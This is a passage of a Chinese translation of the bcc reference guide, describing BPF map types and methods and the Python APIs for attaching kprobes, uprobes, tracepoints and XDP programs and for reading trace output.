这将创建一个名为cpu_cycles的性能数组,条目数量等于CPU核心数。该数组被配置为,稍后调用map.perf_read()将返回从过去某一时刻开始计算的硬件计数器的周期数。每个表只能配置一种类型的硬件计数器。
方法(稍后介绍):map.perf_read()。
现场示例: 搜索 /tests
7. BPF_PERCPU_HASH
语法:BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]])
创建NUM_CPU个以int索引的哈希映射(关联数组),名为name,具有可选参数。每个CPU都会有一个单独的该数组副本。这些副本不以任何方式进行同步。
请注意,由于内核中定义的限制(位于linux/mm/percpu.c中),leaf_type的大小不能超过32KB。
换句话说,BPF_PERCPU_HASH元素的大小不能超过32KB。
默认值:BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240)
例如:
BPF_PERCPU_HASH(start, struct request *);
这将创建名为start的NUM_CPU个哈希,其中键为struct request *,值默认为u64。
这是对BPF_TABLE("percpu_hash", ...)的包装宏。
方法(稍后介绍):map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。
现场示例: 搜索 /examples, 搜索 /tools
8. BPF_PERCPU_ARRAY
语法:BPF_PERCPU_ARRAY(name [, leaf_type [, size]])。创建name的NUM_CPU个按整数索引优化的数组,以实现最快的查找和更新,具有可选参数。每个CPU都会有一个单独的副本。这些副本不能以任何方式同步。
请注意,由于内核(在linux/mm/percpu.c中)定义的限制,leaf_type的大小不能超过32KB。
换句话说,BPF_PERCPU_ARRAY元素的大小不能超过32KB。
默认值:BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240)
例如:
BPF_PERCPU_ARRAY(counts, u64, 32);
这将创建NUM_CPU个名为counts的数组,其中每个数组有32个桶和64位整数值。
这是BPF_TABLE("percpu_array", ...)的包装宏。
方法(稍后介绍):map.lookup(),map.update(),map.increment()。请注意,所有数组元素都预先分配为零值,并且不能被删除。
In situ示例: 搜索/examples, 搜索/tools
9. BPF_LPM_TRIE
语法:BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]])
创建一个名为name的最长前缀匹配字典树映射,带有可选参数。
默认值:BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240)
例如:
BPF_LPM_TRIE(trie, struct key_v6);
这将创建一个名为trie的LPM字典树映射,其中键是struct key_v6,值默认为u64。
这是一个对BPF_F_TABLE("lpm_trie", ..., BPF_F_NO_PREALLOC)的包装宏。
方法(稍后介绍):map.lookup(),map.lookup_or_try_init(),map.delete(),map.update(),map.insert(),map.increment()。
In situ示例: 搜索/examples, 搜索/tools
10. BPF_PROG_ARRAY
语法:BPF_PROG_ARRAY(name, size)。创建一个名为 name 的程序数组,其中包含 size 个条目。数组的每个条目要么是指向一个 bpf 程序的文件描述符,要么是 NULL。该数组作为一个跳转表,以便 bpf 程序可以“尾调用”其他 bpf 程序。
这是一个 BPF_TABLE("prog", ...) 的包装宏。
方法(稍后介绍):map.call()。
实时示例: 搜索 /examples, 搜索 /tests, 分配 fd
11. BPF_DEVMAP
语法:BPF_DEVMAP(name, size)
这创建了一个名为 name 的设备映射,其中包含 size 个条目。映射的每个条目都是一个网络接口的 ifindex。此映射仅在 XDP 中使用。
例如:
BPF_DEVMAP(devmap, 10);
方法(稍后介绍):map.redirect_map()。
实时示例: 搜索 /examples,
12. BPF_CPUMAP
语法:BPF_CPUMAP(name, size)
这创建了一个名为 name 的 CPU 映射,其中包含 size 个条目。映射的索引表示 CPU 的 ID,每个条目是为 CPU 分配的环形缓冲区的大小。此映射仅在 XDP 中使用。
例如:
BPF_CPUMAP(cpumap, 16);
方法(稍后介绍):map.redirect_map()。
实时示例: 搜索 /examples,
13. BPF_XSKMAP
语法:BPF_XSKMAP(name, size [, "/sys/fs/bpf/xyz"])。这将创建一个名为name的xsk映射,带有size个条目,并将其固定到bpffs作为一个文件。每个条目表示一个NIC的队列ID。该映射仅在XDP中用于将数据包重定向到AF_XDP套接字。如果AF_XDP套接字绑定到与当前数据包的队列ID不同的队列,则数据包将被丢弃。对于内核v5.3及更高版本,“lookup”方法可用于检查当前数据包的队列ID是否可用于AF_XDP套接字。有关详细信息,请参阅AF_XDP。
例如:
BPF_XSKMAP(xsks_map, 8);
方法(稍后涵盖):map.redirect_map()。map.lookup()
现场示例: search /examples,
14. BPF_ARRAY_OF_MAPS
语法:BPF_ARRAY_OF_MAPS(name, inner_map_name, size)
这将创建一个带有映射内部类型(BPF_MAP_TYPE_HASH_OF_MAPS)的数组映射,名称为name,包含size个条目。映射的内部元数据由映射inner_map_name提供,可以是除了BPF_MAP_TYPE_PROG_ARRAY、BPF_MAP_TYPE_CGROUP_STORAGE和BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE之外的大多数数组或哈希映射。
例如:
BPF_TABLE("hash", int, int, ex1, 1024);
BPF_TABLE("hash", int, int, ex2, 1024);
BPF_ARRAY_OF_MAPS(maps_array, "ex1", 10);
15. BPF_HASH_OF_MAPS
语法:BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size)
这将创建一个带有映射内部类型(BPF_MAP_TYPE_HASH_OF_MAPS)的哈希映射,名称为name,包含size个条目。映射的内部元数据由映射inner_map_name提供,可以是除了BPF_MAP_TYPE_PROG_ARRAY、BPF_MAP_TYPE_CGROUP_STORAGE和BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE之外的大多数数组或哈希映射。
例如:
BPF_ARRAY(ex1, int, 1024);
BPF_ARRAY(ex2, int, 1024);
BPF_HASH_OF_MAPS(maps_hash, struct custom_key, "ex1", 10);
16. BPF_STACK
语法:BPF_STACK(name, leaf_type, max_entries[, flags])。创建一个名为 name 的堆栈,其值类型为 leaf_type,最大条目数为 max_entries。
堆栈和队列映射仅适用于 Linux 4.20+。
例如:
BPF_STACK(stack, struct event, 10240);
这将创建一个名为 stack 的堆栈,其值类型为 struct event,最多可容纳 10240 个条目。
方法(后面会涉及):map.push()、map.pop()、map.peek()。
示例:
在 search /tests 中。
17. BPF_QUEUE
语法:BPF_QUEUE(name, leaf_type, max_entries[, flags])
创建一个名为 name 的队列,其值类型为 leaf_type,最大条目数为 max_entries。
堆栈和队列映射仅适用于 Linux 4.20+。
例如:
BPF_QUEUE(queue, struct event, 10240);
这将创建一个名为 queue 的队列,其值类型为 struct event,最多可容纳 10240 个条目。
方法(后面会涉及):map.push()、map.pop()、map.peek()。
示例:
在 search /tests 中。
18. BPF_SOCKHASH
语法:BPF_SOCKHASH(name[, key_type [, max_entries)
创建一个名为 name 的哈希,带有可选参数。sockhash仅适用于Linux 4.18+。
默认值:BPF_SOCKHASH(name, key_type=u32, max_entries=10240)
例如:
struct sock_key {
u32 remote_ip4;
u32 local_ip4;
u32 remote_port;
u32 local_port;
};
BPF_HASH(skh, struct sock_key, 65535);
这将创建一个名为 skh 的哈希表,其中键是 struct sock_key。
sockhash是一种BPF映射类型,它保存对sock结构体的引用。然后,通过使用新的sk/msg重定向BPF辅助函数,BPF程序可以使用该映射在套接字之间重定向skbs/msgs(map.sk_redirect_hash()/map.msg_redirect_hash())。BPF_SOCKHASH和BPF_SOCKMAP的区别在于BPF_SOCKMAP是基于数组实现的,并且强制键为四个字节。
而BPF_SOCKHASH是基于哈希表实现的,并且键的类型可以自由指定。
方法(稍后介绍):map.sock_hash_update(),map.msg_redirect_hash(),map.sk_redirect_hash()。
19. map.lookup()
语法:*val map.lookup(&key)
在映射中查找键,如果存在则返回指向其值的指针,否则返回NULL。我们将键作为指针的地址传入。
示例: 搜索/examples, 搜索/tools
20. map.lookup_or_try_init()
语法:*val map.lookup_or_try_init(&key, &zero)
在映射中查找键,如果存在则返回指向其值的指针,否则将键的值初始化为第二个参数。通常用于将值初始化为零。如果无法插入键(例如映射已满),则返回NULL。
示例: 搜索/examples, 搜索/tools
注意:旧的map.lookup_or_init()可能导致函数返回,因此建议使用lookup_or_try_init(),它没有这种副作用。
21. map.delete()
语法:map.delete(&key)
从哈希表中删除键。
示例: 搜索/examples, 搜索/tools
22. map.update()
语法:map.update(&key, &val)
将第二个参数中的值与键关联,覆盖任何先前的值。
示例:"搜索/examples, 搜索/tools
23. map.insert()
语法: map.insert(&key, &val)
将第二个参数中的值与键相关联,仅在之前没有值的情况下。
现场示例: 搜索/examples, 搜索/tools
24. map.increment()
语法: map.increment(key[, increment_amount])
通过 increment_amount(默认为1)增加键的值。用于柱状图。
map.increment()不是原子操作。在并发情况下,如果要获得更准确的结果,请使用 map.atomic_increment() 而不是 map.increment()。map.increment() 和 map.atomic_increment() 的开销相似。
注意. 当使用 map.atomic_increment() 操作类型为 BPF_MAP_TYPE_HASH 的 BPF map 时,如果指定的键不存在,则 map.atomic_increment() 无法保证操作的原子性。
现场示例: 搜索/examples, 搜索/tools
25. map.get_stackid()
语法: int map.get_stackid(void *ctx, u64 flags)
这会遍历在 ctx 中找到的 struct pt_regs 中的堆栈,将其保存在堆栈跟踪 map 中,并返回一个唯一的堆栈跟踪 ID。
现场示例: 搜索/examples, 搜索/tools
26. map.perf_read()
语法: u64 map.perf_read(u32 cpu)
现场示例:""搜索/tests
27. map.call()
语法:void map.call(void *ctx, int index)
这将调用bpf_tail_call()来尾调用BPF_PROG_ARRAY中指向index入口的bpf程序。尾调用与普通调用不同。它在跳转到另一个bpf程序后重用当前的栈帧,并且不会返回。如果index入口为空,它将不会跳转到任何地方,程序的执行将会继续进行。
例如:
BPF_PROG_ARRAY(prog_array, 10);
int tail_call(void *ctx) {
bpf_trace_printk("尾调用\n");
return 0;
}
int do_tail_call(void *ctx) {
bpf_trace_printk("原始的程序\n");
prog_array.call(ctx, 2);
return 0;
}
b = BPF(src_file="example.c")
tail_fn = b.load_func("tail_call", BPF.KPROBE)
prog_array = b.get_table("prog_array")
prog_array[c_int(2)] = c_int(tail_fn.fd)
b.attach_kprobe(event="some_kprobe_event", fn_name="do_tail_call")
这将tail_call()分配给prog_array[2]。在do_tail_call()的最后,prog_array.call(ctx, 2)尾调用tail_call()并执行它。
**注意:**为了防止无限循环,尾调用的最大数量是32(MAX_TAIL_CALL_CNT)。
在现场示例中: 搜索/examples, 搜索/tests
28. map.redirect_map()
语法:int map.redirect_map(int index, int flags)".这将根据 index 条目重定向传入的数据包。如果映射是 BPF_DEVMAP,数据包将被发送到该条目指向的网络接口的传输队列。如果映射是 BPF_CPUMAP,数据包将被发送到index CPU的环形缓冲区,并稍后由CPU处理。如果映射是 BPF_XSKMAP,数据包将被发送到连接到队列的 AF_XDP 套接字。
如果数据包成功被重定向,该函数将返回 XDP_REDIRECT。否则,将返回 XDP_ABORTED 以丢弃该数据包。
例如:
BPF_DEVMAP(devmap, 1);
int redirect_example(struct xdp_md *ctx) {
return devmap.redirect_map(0, 0);
}
int xdp_dummy(struct xdp_md *ctx) {
return XDP_PASS;
}
ip = pyroute2.IPRoute()
idx = ip.link_lookup(ifname="eth1")[0]
b = bcc.BPF(src_file="example.c")
devmap = b.get_table("devmap")
devmap[c_uint32(0)] = c_int(idx)
in_fn = b.load_func("redirect_example", BPF.XDP)
out_fn = b.load_func("xdp_dummy", BPF.XDP)
b.attach_xdp("eth0", in_fn, 0)
b.attach_xdp("eth1", out_fn, 0)
示例位置: 搜索 /examples,
29. map.push()
语法:int map.push(&val, int flags)
将元素推入堆栈或队列表。将 BPF_EXIST 作为标志传递会导致队列或堆栈在已满时丢弃最旧的元素。成功返回0,失败返回负错误值。
示例位置: 搜索 /tests,
30. map.pop()
语法:int map.pop(&val)
从堆栈或队列表中弹出一个元素。*val被填充为结果。与查看不同,弹出操作会移除该元素。成功返回0,失败返回负错误值。
示例位置: 搜索 /tests,
31. map.peek()
语法:int map.peek(&val)查看堆栈或队列表头的元素。*val将被结果填充。
与弹出不同,查看不会删除元素。
成功返回0,失败返回负错误。
实例: 搜索/tests
32. map.sock_hash_update()
语法:int map.sock_hash_update(struct bpf_sock_ops *skops, &key, int flags)
向sockhash映射添加条目或更新条目。skops用作与键相关联的条目的新值。flags为以下之一:
BPF_NOEXIST:映射中不得存在key的条目。
BPF_EXIST:映射中必须已存在key的条目。
BPF_ANY:对于key的条目是否存在,没有条件。
如果映射具有eBPF程序(解析器和判决器),则这些程序将被添加的套接字继承。如果套接字已经附加到eBPF程序,则会出错。
成功返回0,失败返回负错误。
实例: 搜索/tests
33. map.msg_redirect_hash()
语法:int map.msg_redirect_hash(struct sk_msg_buff *msg, void*key, u64 flags)
该辅助程序用于在套接字级别实施策略的程序中。如果消息msg被允许通过(即判决eBPF程序返回SK_PASS),则使用哈希键将其重定向到映射引用的套接字(类型为BPF_MAP_TYPE_SOCKHASH)。可以使用入站和出站接口进行重定向。标志中的BPF_F_INGRESS值用于区分(如果存在该标志,则选择入站路径,否则选择出站路径)。目前,这是唯一支持的标志。
成功返回SK_PASS,发生错误返回SK_DROP。
实例: 搜索/tests
34. map.sk_redirect_hash()
语法:int map.sk_redirect_hash(struct sk_buff *skb, void*key, u64 flags)".This helper is used in programs implementing policies at the skb socket level.
If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key.
Both ingress and egress interfaces can be used for redirection.
The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise).
This is the only flag supported for now.
Return SK_PASS on success, or SK_DROP on error.
Examples in situ: [搜索/tests](https://github.com/iovisor/bcc/search?q=sk_redirect_hash+path%3Atests&type=Code\),
许可证
Depending on which [BPF helpers](kernel-versions.md#helpers) are used, a GPL-compatible license is required.
The special BCC macro BPF_LICENSE specifies the license of the BPF program.
You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically.
If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it:
// SPDX-License-Identifier: GPL-2.0+
#define BPF_LICENSE GPL
Otherwise, the kernel may reject loading your program (see the [错误描述](#2-cannot-call-gpl-only-function-from-proprietary-program) below). Note that it supports multiple words and quotes are not necessary:
// SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause
#define BPF_LICENSE Dual BSD/GPL
Check the [BPF helpers reference](kernel-versions.md#helpers) to see which helpers are GPL-only and what the kernel understands as GPL-compatible.
If the macro is not specified, BCC will automatically define the license of the program as GPL.
Rewriter
一个重写器的工作是使用内核辅助程序将隐式内存访问转换为显式内存访问。最近的内核引入了一个配置选项ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE,该选项将被设置为使用用户地址空间和内核地址空间不重叠的体系结构。x86和arm设置了这个配置选项,而s390没有。如果没有设置ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE,bpf旧帮助函数bpf_probe_read()将不可用。一些现有的用户可能有隐式内存访问来访问用户内存,所以使用bpf_probe_read_kernel()会导致他们的应用程序失败。因此,对于非s390,重写器将对这些隐式内存访问使用bpf_probe_read()。对于s390,默认使用bpf_probe_read_kernel(),用户在访问用户内存时应显式使用bpf_probe_read_user()
bcc Python
初始化
构造函数。
1. BPF
语法: BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int])
创建一个BPF对象。这是定义BPF程序并与其输出交互的主要对象。
必须提供text或src_file之一,不能两者都提供。
cflags指定要传递给编译器的额外参数,例如-DMACRO_NAME=value或-I/include/path。参数以数组形式传递,每个元素为一个额外的参数。注意,字符串不会按空格拆分,所以每个参数必须是数组的不同元素,例如["-include", "header.h"]。
debug标志控制调试输出,可以使用或运算:
DEBUG_LLVM_IR = 0x1编译后的LLVM IRDEBUG_BPF = 0x2加载的BPF字节码和分支时的寄存器状态DEBUG_PREPROCESSOR = 0x4预处理器的结果DEBUG_SOURCE = 0x8嵌入源码的ASM指令DEBUG_BPF_REGISTER_STATE = 0x10所有指令的寄存器状态,额外打印DEBUG_BPF的信息DEBUG_BTF = 0x20打印来自libbpf库的消息。
示例:
BPF(text='int do_trace(void *ctx) { bpf_trace_printk("命中!\\n"); return 0; }');
# 定义程序为一个变量:
prog = """
int hello(void *ctx) {
bpf_trace_printk("你好,世界!\\n");
return 0;
}
"""
b = BPF(text=prog)
# 源文件:
b = BPF(src_file = "vfsreadlat.c")
# 包括一个USDT对象:
u = USDT(pid=int(pid))
[...]
b = BPF(text=bpf_text, usdt_contexts=[u])
# 添加包含路径:
u = BPF(text=prog, cflags=["-I/path/to/include"])
在原地的示例:
[搜索 /examples](https://github.com/iovisor/bcc/search?q=BPF+path%3Aexamples+language%3Apython&type=Code),
[搜索 /tools](https://github.com/iovisor/bcc/search?q=BPF+path%3Atools+language%3Apython&type=Code)
### 2. USDT
语法: ```USDT({pid=pid | path=path})```
创建一个对象以检测用户静态定义的跟踪(USDT)探针。它的主要方法是```enable_probe()```。
参数:
- pid: 附加到该进程ID。
- path: 从此二进制路径检测USDT探针。
示例:
```Python
# 包括一个USDT对象:
u = USDT(pid=int(pid))
[...]
b = BPF(text=bpf_text, usdt_contexts=[u])
在原地的示例: 搜索 /examples, 搜索 /tools
事件
1. attach_kprobe()
语法: BPF.attach_kprobe(event="event", fn_name="name")
通过内核动态跟踪函数入口,来检测内核函数event(),并将我们的C定义的函数name()附加到每次调用内核函数时被调用。
例如:
b.attach_kprobe(event="sys_clone", fn_name="do_trace")
这将检测内核sys_clone()函数,并在每次调用时运行我们定义的BPF函数do_trace()。
您可以多次调用attach_kprobe(),并将您的BPF函数附加到多个内核函数上。您也可以多次调用attach_kprobe()函数将多个BPF函数附加到同一个内核函数。
有关如何从BPF中提取参数的详细信息,请参阅前面的kprobes部分。
示例: 查找/examples, 查找/tools
2. attach_kretprobe()
语法:BPF.attach_kretprobe(event="事件", fn_name="名称" [, maxactive=int])
使用内核动态跟踪函数返回来检测内核函数event()的返回,并附加我们定义的C函数name()在内核函数返回时调用。
例如:
b.attach_kretprobe(event="vfs_read", fn_name="do_return")
这将检测内核的vfs_read()函数,每次调用该函数时都会执行我们定义的BPF函数do_return()。
您可以多次调用attach_kretprobe()函数,并将您的BPF函数附加到多个内核函数的返回值。 您也可以多次调用attach_kretprobe()函数将多个BPF函数附加到同一个内核函数的返回值。
当在内核函数上安装kretprobe时,它可以捕获的并行调用次数存在限制。您可以使用maxactive参数更改该限制。有关默认值,请参阅kprobes文档。
有关如何从BPF中提取返回值的详细信息,请参阅前面的kretprobes部分。
示例: 查找/examples, 查找/tools
3. attach_tracepoint()
语法:BPF.attach_tracepoint(tp="追踪点", fn_name="名称")
检测由tracepoint描述的内核追踪点,并在命中时运行BPF函数name()。这是一种显式方式来操控 tracepoints。在前面的 tracepoints 部分讲解过的 TRACEPOINT_PROBE 语法是另一种方法,其优点是自动声明一个包含 tracepoint 参数的 args 结构体。在使用 attach_tracepoint() 时,tracepoint 参数需要在 BPF 程序中声明。
例如:
# 定义 BPF 程序
bpf_text = """
#include <uapi/linux/ptrace.h>
struct urandom_read_args {
// 来自 /sys/kernel/debug/tracing/events/random/urandom_read/format
u64 __unused__;
u32 got_bits;
u32 pool_left;
u32 input_left;
};
int printarg(struct urandom_read_args *args) {
bpf_trace_printk("%d\\n", args->got_bits);
return 0;
};
"""
# 加载 BPF 程序
b = BPF(text=bpf_text)
b.attach_tracepoint("random:urandom_read", "printarg")
注意,printarg() 的第一个参数现在是我们定义的结构体。
代码示例: code, search /examples, search /tools
4. attach_uprobe()
语法:BPF.attach_uprobe(name="location", sym="symbol", fn_name="name" [, sym_off=int]), BPF.attach_uprobe(name="location", sym_re="regex", fn_name="name"), BPF.attach_uprobe(name="location", addr=int, fn_name="name")
用于操控位于 location 中的库或二进制文件中的用户级别函数 symbol(),使用用户级别动态跟踪该函数的入口,并将我们定义的 C 函数 name() 附加为在用户级别函数被调用时调用的函数。如果给定了 sym_off,则该函数将附加到符号的偏移量上。真实的地址addr可以替代sym,在这种情况下,sym必须设置为其默认值。如果文件是非PIE可执行文件,则addr必须是虚拟地址,否则它必须是相对于文件加载地址的偏移量。
可以在sym_re中提供普通表达式来代替符号名称。然后,uprobes将附加到与提供的正则表达式匹配的符号。
在名字参数中可以给出库名而不带lib前缀,或者给出完整路径(/usr/lib/...)。只能通过完整路径(/bin/sh)给出二进制文件。
例如:
b.attach_uprobe(name="c", sym="strlen", fn_name="count")
这将在libc中对strlen()函数进行插装,并在调用该函数时调用我们的BPF函数count()。请注意,在libc中的libc中的"lib"是不必要的。
其他例子:
b.attach_uprobe(name="c", sym="getaddrinfo", fn_name="do_entry")
b.attach_uprobe(name="/usr/bin/python", sym="main", fn_name="do_main")
您可以多次调用attach_uprobe(),并将BPF函数附加到多个用户级函数。
有关如何从BPF工具获取参数的详细信息,请参见上一节uprobes。
原址示例: search /examples, search /tools
5. attach_uretprobe()
语法: BPF.attach_uretprobe(name="location", sym="symbol", fn_name="name")
使用用户级动态跟踪从名为location的库或二进制文件中的用户级函数symbol()返回值的方式仪器化,并将我们定义的C函数name()附加到用户级函数返回时调用。
例如:
b.attach_uretprobe(name="c", sym="strlen", fn_name="count")
```。这将使用libc库对```strlen()```函数进行插装,并在其返回时调用我们的BPF函数```count()```。
其他示例:
```Python
b.attach_uretprobe(name="c", sym="getaddrinfo", fn_name="do_return")
b.attach_uretprobe(name="/usr/bin/python", sym="main", fn_name="do_main")
您可以多次调用attach_uretprobe(),并将您的BPF函数附加到多个用户级函数上。
有关如何对BPF返回值进行插装的详细信息,请参阅前面的uretprobes部分。
内部示例: 搜索/examples, 搜索/tools
6. USDT.enable_probe()
语法:USDT.enable_probe(probe=probe, fn_name=name)
将BPF C函数name附加到USDT探针probe。
示例:
# 根据给定的PID启用USDT探针
u = USDT(pid=int(pid))
u.enable_probe(probe="http__server__request", fn_name="do_trace")
要检查您的二进制文件是否具有USDT探针以及它们的详细信息,可以运行readelf -n binary并检查stap调试部分。
内部示例: 搜索/examples, 搜索/tools
7. attach_raw_tracepoint()
语法:BPF.attach_raw_tracepoint(tp="tracepoint", fn_name="name")
对由tracepoint(仅event,无category)描述的内核原始跟踪点进行插装,并在命中时运行BPF函数name()。
这是一种明确的插装跟踪点的方法。早期原始跟踪点部分介绍的RAW_TRACEPOINT_PROBE语法是一种替代方法。
例如:
b.attach_raw_tracepoint("sched_switch", "do_trace")
内部示例:"."搜索 /工具
8. attach_raw_socket()
语法: BPF.attach_raw_socket(fn, dev)
将一个BPF函数附加到指定的网络接口。
fn 必须是 BPF.function 类型,并且 bpf_prog 类型需要是 BPF_PROG_TYPE_SOCKET_FILTER (fn=BPF.load_func(func_name, BPF.SOCKET_FILTER))
fn.sock 是一个非阻塞原始套接字,已经创建并绑定到 dev。
所有处理 dev 的网络数据包都会在经过 bpf_prog 处理后,被复制到 fn.sock 的 recv-q 中。可以使用 recv/recvfrom/recvmsg 来从 fn.sock 接收数据包。需要注意的是,如果在 recv-q 满了之后没有及时读取,复制的数据包将会被丢弃。
可以使用这个功能来像 tcpdump 一样捕获网络数据包。
可以使用ss --bpf --packet -p来观察 fn.sock。
示例:
BPF.attach_raw_socket(bpf_func, ifname)
示例位置: 搜索 /示例
9. attach_xdp()
语法: BPF.attach_xdp(dev="device", fn=b.load_func("fn_name",BPF.XDP), flags)
改装由 dev 描述的网络驱动程序,然后接收数据包,并使用标志运行 BPF 函数 fn_name()。
以下是可选的标志列表。
# from xdp_flags uapi/linux/if_link.h
XDP_FLAGS_UPDATE_IF_NOEXIST = (1 << 0)
XDP_FLAGS_SKB_MODE = (1 << 1)
XDP_FLAGS_DRV_MODE = (1 << 2)
XDP_FLAGS_HW_MODE = (1 << 3)
XDP_FLAGS_REPLACE = (1 << 4)
您可以像这样使用标志: BPF.attach_xdp(dev="device", fn=b.load_func("fn_name",BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST)
标志的默认值为0。这意味着如果没有带有 device 的xdp程序,fn将在该设备上运行。如果有一个正在运行的xdp程序与设备关联,旧程序将被新的fn程序替换。".当前,bcc不支持XDP_FLAGS_REPLACE标志。以下是其他标志的描述。
1. XDP_FLAGS_UPDATE_IF_NOEXIST
如果已经将XDP程序附加到指定的驱动程序上,再次附加XDP程序将失败。
2. XDP_FLAGS_SKB_MODE
驱动程序不支持XDP,但内核模拟支持它。 XDP程序可以工作,但没有真正的性能优势,因为数据包无论如何都会传递给内核堆栈,然后模拟XDP - 这通常适用于家用电脑,笔记本电脑和虚拟化硬件所使用的通用网络驱动程序。
3. XDP_FLAGS_DRV_MODE
驱动程序具有XDP支持,并且可以将数据包直接传递给XDP,无需内核堆栈交互 - 少数驱动程序可以支持此功能,通常用于企业级硬件。
4. XDP_FLAGS_HW_MODE
XDP可以直接在NIC上加载和执行 - 只有少数NIC支持这一功能。
例如:
b.attach_xdp(dev="ens1", fn=b.load_func("do_xdp", BPF.XDP))
这将为网络设备ens1安装工具,并在接收数据包时运行我们定义的BPF函数do_xdp()。
不要忘记在最后调用b.remove_xdp("ens1")!
示例: 搜索/examples, 搜索/tools
10. attach_func()
语法:BPF.attach_func(fn, attachable_fd, attach_type [, flags])
将指定类型的BPF函数附加到特定的attachable_fd上。如果attach_type是BPF_FLOW_DISSECTOR,则预期该函数将附加到当前的网络命名空间,并且attachable_fd必须为0。
例如:
b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)
b.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT)
```注意。当附加到“全局”钩子(xdp、tc、lwt、cgroup)时。如果程序终止后不再需要“BPF 函数”,请确保在程序退出时调用 `detach_func`。
示例中的内部代码:
[search /examples](https://github.com/iovisor/bcc/search?q=attach_func+path%3Aexamples+language%3Apython&type=Code),
### 11. detach_func()
语法:```BPF.detach_func(fn, attachable_fd, attach_type)```
断开指定类型的 BPF 函数。
例如:
```Python
b.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS) // 断开 cgroup_fd 上的 fn 函数
b.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) // 断开 map_fd 上的 fn 函数
示例中的内部代码:
12. detach_kprobe()
语法:BPF.detach_kprobe(event="event", fn_name="name")
断开指定事件的 kprobe 处理函数。
例如:
b.detach_kprobe(event="__page_cache_alloc", fn_name="trace_func_entry") // 断开 "__page_cache_alloc" 事件上的 "trace_func_entry" 函数
13. detach_kretprobe()
语法:BPF.detach_kretprobe(event="event", fn_name="name")
断开指定事件的 kretprobe 处理函数。
例如:
b.detach_kretprobe(event="__page_cache_alloc", fn_name="trace_func_return") // 断开 "__page_cache_alloc" 事件上的 "trace_func_return" 函数
调试输出
1. trace_print()
语法:BPF.trace_print(fmt="fields")
该方法持续读取全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件并打印其内容。可以通过 BPF 和 bpf_trace_printk() 函数将数据写入该文件,但该方法存在限制,包括缺乏并发跟踪支持。更推荐使用前面介绍的 BPF_PERF_OUTPUT 机制。
参数:
fmt: 可选,可以包含字段格式化字符串,默认为None。
示例:
# 将 trace_pipe 输出原样打印:
b.trace_print()
# 打印 PID 和消息:
b.trace_print(fmt="{1} {5}")
示例中的内部代码: search /examples。"搜索 /工具
2. trace_fields()
语法: BPF.trace_fields(nonblocking=False)
该方法从全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件中读取一行,并将其作为字段返回。该文件可以通过 BPF 和 bpf_trace_printk() 函数进行写入,但该方法有一些限制,包括缺乏并发追踪支持。我们更推荐使用之前介绍的 BPF_PERF_OUTPUT 机制。
参数:
nonblocking: 可选参数,默认为False。当设置为True时,程序将不会阻塞等待输入。
示例:
while 1:
try:
(task, pid, cpu, flags, ts, msg) = b.trace_fields()
except ValueError:
continue
[...]
输出 API
BPF 程序的正常输出有两种方式:
- 每个事件: 使用 PERF_EVENT_OUTPUT、open_perf_buffer() 和 perf_buffer_poll()。
- map 汇总: 使用 items() 或 print_log2_hist(),在 Maps 部分有介绍。
1. perf_buffer_poll()
语法: BPF.perf_buffer_poll(timeout=T)
该方法从所有打开的 perf 环形缓冲区中轮询,并对每个条目调用在调用 open_perf_buffer 时提供的回调函数。
timeout 参数是可选的,并以毫秒为单位计量。如果未提供,则轮询将无限期进行。
示例:
# 循环调用带有回调函数 print_event 的 open_perf_buffer
b["events"].open_perf_buffer(print_event)
while 1:
try:
b.perf_buffer_poll()
except KeyboardInterrupt:
exit()
2. ring_buffer_poll()
语法: BPF.ring_buffer_poll(timeout=T)
这个方法从所有已打开的ringbuf环形缓冲区中轮询数据,对每个条目调用在调用open_ring_buffer时提供的回调函数。
timeout参数是可选的,以毫秒为单位测量。如果没有指定,轮询将持续到没有更多的数据或回调函数返回负值。
示例:
# 循环使用回调函数print_event
b["events"].open_ring_buffer(print_event)
while 1:
try:
b.ring_buffer_poll(30)
except KeyboardInterrupt:
exit();
示例: 搜索 /示例,
3. ring_buffer_consume()
语法: BPF.ring_buffer_consume()
这个方法从所有已打开的ringbuf环形缓冲区中消费数据,对每个条目调用在调用open_ring_buffer时提供的回调函数。
与ring_buffer_poll不同,这个方法在尝试消费数据之前不会轮询数据。这样可以减少延迟,但会增加CPU消耗。如果不确定使用哪种方法,建议使用ring_buffer_poll。
示例:
# 循环使用回调函数print_event
b["events"].open_ring_buffer(print_event)
while 1:
try:
b.ring_buffer_consume()
except KeyboardInterrupt:
exit();
示例: 搜索 /示例,
Map APIs
Maps是BPF数据存储器,在bcc中用于实现表、哈希和直方图等更高层次的对象。
1. get_table()
语法: BPF.get_table(name)".返回一个table对象。由于可以将表格作为BPF项进行读取,因此此功能不再使用。例如:BPF[name]。
示例:
counts = b.get_table("counts")
counts = b["counts"]
这两者是等价的。
2. open_perf_buffer()
语法:table.open_perf_buffers(callback, page_cnt=N, lost_cb=None)
